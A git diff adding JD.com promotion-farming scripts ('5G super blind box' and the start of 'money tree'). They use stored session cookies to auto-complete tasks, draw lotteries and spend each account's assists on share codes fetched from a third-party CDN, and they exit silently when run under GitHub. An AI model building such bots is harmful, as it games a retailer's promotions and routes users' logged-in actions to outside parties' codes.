0000000..915a0f2 --- /dev/null +++ b/jd_mohe.js @@ -0,0 +1,586 @@ +/* +5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值 +活动地址: https://isp5g.m.jd.com +活动时间:2021-06-2到2021-07-31 +更新时间:2021-06-3 12:00 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#5G超级盲盒 +0 0,1-23/3 * * * jd_mohe.js, tag=5G超级盲盒, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "0 0,1-23/3 * * *" script-path=jd_mohe.js,tag=5G超级盲盒 + +===================================Surge================================ +5G超级盲盒 = type=cron,cronexp="0 0,1-23/3 * * *",wake-system=1,timeout=3600,script-path=jd_mohe.js + +====================================小火箭============================= +5G超级盲盒 = type=cron,script-path=jd_mohe.js, cronexpr="0 0,1-23/3 * * *", timeout=3600, enable=true + */ +const $ = new Env('5G超级盲盒'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://isp5g.m.jd.com'; +//邀请码一天一变化,已确定 +$.shareId = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log('5G超级盲盒,可抽奖获得京豆,建议在凌晨0点时运行脚本,白天抽奖基本没有京豆,4小时运行一次收集热力值\n' + + '活动地址: https://isp5g.m.jd.com\n' + + '活动时间:2021-06-2到2021-07-31\n' + + '更新时间:2021-06-3 12:00'); + await updateShareCodesCDN() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await shareUrl(); + await getCoin();//领取每三小时自动生产的热力值 + await Promise.all([ + task0(), + task1(), + ]) + await taskList(); + await getAward();//抽奖 + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage, {"open-url": "https://isp5g.m.jd.com"}) + } + $.shareId = [...($.shareId || []), ...($.updatePkActivityIdRes || [])]; + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`\n\n自己账号内部互助`); + for (let item of $.shareId) { + console.log(`账号 ${$.index} ${$.UserName} 开始给 ${item}进行助力`) + const res = await addShare(item); + if (res && res['code'] === 2005) { + console.log(`次数已用完,跳出助力`) + break + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function task0() { + const confRes = await conf(); + if (confRes.code === 200) { + const { brandList, skuList } = confRes.data; + if (skuList && skuList.length > 0) { + for (let item of skuList) { + if (item.state === 0) { + let homeGoBrowseRes = await homeGoBrowse(0, item.id); + console.log('商品', homeGoBrowseRes); + await $.wait(1000); + const taskHomeCoin0Res = await taskHomeCoin(0, item.id); + console.log('商品领取金币', taskHomeCoin0Res); + // if (homeGoBrowseRes.code === 200) { + // await $.wait(1000); + // await taskHomeCoin(0, item.id); + // } + } else { + console.log('精选好物任务已完成') + } + } + } + } +} +async function task1() { + const confRes = await conf(); + if (confRes.code === 200) { + const { brandList, skuList } = confRes.data; + if (brandList && brandList.length > 0) { + for (let item of brandList) { + if (item.state === 0) { + let homeGoBrowseRes = await homeGoBrowse(1, item.id); + // console.log('店铺', homeGoBrowseRes); + await $.wait(1000); + const taskHomeCoin1Res = await taskHomeCoin(1, item.id); + console.log('店铺领取金币', taskHomeCoin1Res); + // if (homeGoBrowseRes.code === 200) { + // await $.wait(1000); + // await taskHomeCoin(1, item.id); + // } + } else { + console.log('精选店铺-任务已完成') + } + } + } + } +} +function addShare(shareId) { + return new Promise((resolve) => { + const url = `addShare?shareId=${shareId}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`助力结果${data}`) + data = JSON.parse(data); + if (data['code'] === 200) { + // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})助力好友 【${data['data']}】 成功\n`); + console.log(`\n助力好友 【${data['data']}】 成功\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function conf() { + return new Promise((resolve) => { + const url = `conf`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('ddd----ddd', data) + data = JSON.parse(data); + // console.log('ddd----ddd', data) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function homeGoBrowse(type, id) { + return new Promise((resolve) => { + const url = `homeGoBrowse?type=${type}&id=${id}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskHomeCoin(type, id) { + return new Promise((resolve) => { + const url = `taskHomeCoin?type=${type}&id=${id}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getCoin() { + return new Promise((resolve) => { + const url = `getCoin?t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + if (data.code === 1001) { + console.log(data.msg); + $.msg($.name, '领取失败', `${data.msg}`); + $.done(); + } else { + console.log(`成功领取${data.data}热力值`) + resolve(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function taskList() { + return new Promise((resolve) => { + const url = `taskList?t=${Date.now()}`; + $.get(taskurl(url), async (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log(`成功领取${data.data}热力值`) + if (data.code === 200) { + const { task4, task6, task5, task2, task1 } = data.data; + if (task4.finishNum < task4.totalNum) { + await browseProduct(task4.skuId); + await taskCoin(task4.type); + } + //浏览会场 + if (task1.finishNum < task1.totalNum) { + await strollActive((task1.finishNum + 1)); + await taskCoin(task1.type); + } + if (task2.finishNum < task2.totalNum) { + await strollShop(task2.shopId); + await taskCoin(task2.type); + } + // if (task5.finishNum < task5.totalNum) { + // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + // } else { + // console.log(`\n\n分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + // } + if (task4.state === 2 && task1.state === 2 && task2.state === 2) { + console.log('\n\n----taskList的任务全部做完了---\n\n') + console.log(`分享好友助力 ${task5.finishNum}/${task5.totalNum}\n\n`) + } else { + console.log(`请继续等待,正在做任务,不要退出哦`) + await taskList(); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//浏览商品(16个) +function browseProduct(skuId) { + return new Promise((resolve) => { + const url = `browseProduct?0=${skuId}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +// 浏览会场(10个) +function strollActive(index) { + return new Promise((resolve) => { + const url = `strollActive?0=${index}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//关注或浏览店铺(9个) +function strollShop(shopId) { + return new Promise((resolve) => { + const url = `strollShop?shopId=${shopId}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +// 加入会员(7) +function strollMember(venderId) { + return new Promise((resolve) => { + const url = `strollMember?venderId=${venderId}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function taskCoin(type) { + return new Promise((resolve) => { + const url = `taskCoin?type=${type}&t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +async function getAward() { + const coinRes = await coin(); + if (coinRes.code === 200) { + const { total, need } = coinRes.data; + if (total > need) { + const times = Math.floor(total / need); + for (let i = 0; i < times; i++) { + await $.wait(2000); + let lotteryRes = await lottery(); + if (lotteryRes.code === 200) { + console.log(`====抽奖结果====,${JSON.stringify(lotteryRes.data)}`); + console.log(lotteryRes.data.name); + console.log(lotteryRes.data.beanNum); + if (lotteryRes.data['prizeId'] && (lotteryRes.data['type'] !== '99' && lotteryRes.data['type'] !== '3' && lotteryRes.data['type'] !== '8' && lotteryRes.data['type'] !== '9')) { + message += `抽奖获得:${lotteryRes.data.name}\n`; + } + } else if (lotteryRes.code === 4001) { + console.log(`抽奖失败,${lotteryRes.msg}`); + break; + } + } + if (message) allMessage += `京东账号${$.index} ${$.nickName}\n${message}抽奖详情查看 https://isp5g.m.jd.com/#/myPrize${$.index !== cookiesArr.length ? '\n\n' : ''}` + } else { + console.log(`目前热力值${total},不够抽奖`) + } + } +} +//获取有多少热力值 +function coin() { + return new Promise((resolve) => { + const url = `coin?t=${Date.now()}`; + $.get(taskurl(url), (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//抽奖API +function lottery() { + return new Promise((resolve) => { + const options = { + 'url': `${JD_API_HOST}/prize/lottery?t=${Date.now()}`, + 'headers': { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + "cookie": cookie, + "referer": "https://isp5g.m.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + // console.log('homeGoBrowse', data) + data = JSON.parse(data); + // console.log('homeGoBrowse', data) + // console.log(`成功领取${data.data}热力值`) + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function shareUrl() { + return new Promise((resolve) => { + const options = { + 'url': `${JD_API_HOST}/active/shareUrl?t=${Date.now()}`, + 'headers': { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + "cookie": cookie, + "referer": "https://isp5g.m.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, async (err, resp, data) => { + try { + console.log('好友邀请码', data) + data = JSON.parse(data); + if (data['code'] === 5000) { + console.log(`尝试多次运行脚本即可获取好友邀请码`) + } + // console.log('homeGoBrowse', data) + if (data['code'] === 200) { + if (data['data']) $.shareId.push(data['data']); + console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data['data']}\n`); + console.log(`此邀请码一天一变化,旧的不可用`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function taskurl(url) { + return { + 'url': `${JD_API_HOST}/active/${url}`, + 'headers': { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + "cookie": cookie, + "referer": "https://isp5g.m.jd.com", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_shareCodes.json') { + return new Promise(resolve => { + $.get({ + url , + timeout: 10000, + headers:{"User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.updatePkActivityIdRes = JSON.parse(data); + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) { + // $.shareId = $.updatePkActivityIdRes || []; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_moneyTree.js b/jd_moneyTree.js new file mode 100644 index 0000000..e7f2377 --- /dev/null +++ b/jd_moneyTree.js @@ -0,0 +1,883 @@ +/* +京东摇钱树 :jd_moneyTree.js +更新时间:2021-4-23 +活动入口:京东APP我的-更多工具-摇钱树,[活动链接](https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index/?channel=yxhd) +京东摇钱树支持京东双账号 +注:如果使用Node.js, 需自行安装'crypto-js,got,http-server,tough-cookie'模块. 例: npm install crypto-js http-server tough-cookie got --save +===============Quantumultx=============== +[task_local] +#京东摇钱树 +3 0-23/2 * * * jd_moneyTree.js, tag=京东摇钱树, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdyqs.png, enabled=true + +==============Loon=========== +[Script] +cron "3 0-23/2 * * *" script-path=jd_moneyTree.js,tag=京东摇钱树 + +===============Surge=========== +京东摇钱树 = type=cron,cronexp="3 0-23/2 * * *",wake-system=1,timeout=3600,script-path=jd_moneyTree.js + +============小火箭========= +京东摇钱树 = type=cron,script-path=jd_moneyTree.js, cronexpr="3 0-23/2 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京东摇钱树'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', allMsg = ``; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +let jdNotify = false;//是否开启静默运行,默认false开启 +let sellFruit = true;//是否卖出金果得到金币,默认'true'卖金果 +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +let userInfo = null, taskInfo = [], message = '', subTitle = '', fruitTotal = 0; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jd_moneyTree(); + } + } + if (allMsg) { + jdNotify = $.isNode() ? (process.env.MONEYTREE_NOTIFY_CONTROL ? process.env.MONEYTREE_NOTIFY_CONTROL : jdNotify) : ($.getdata('jdMoneyTreeNotify') ? $.getdata('jdMoneyTreeNotify') : jdNotify); + if (!jdNotify || jdNotify === 'false') { + if ($.isNode()) await notify.sendNotify($.name, allMsg); + $.msg($.name, '', allMsg) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jd_moneyTree() { + try { + const userRes = await user_info(); + if (!userRes || !userRes.realName) return + await 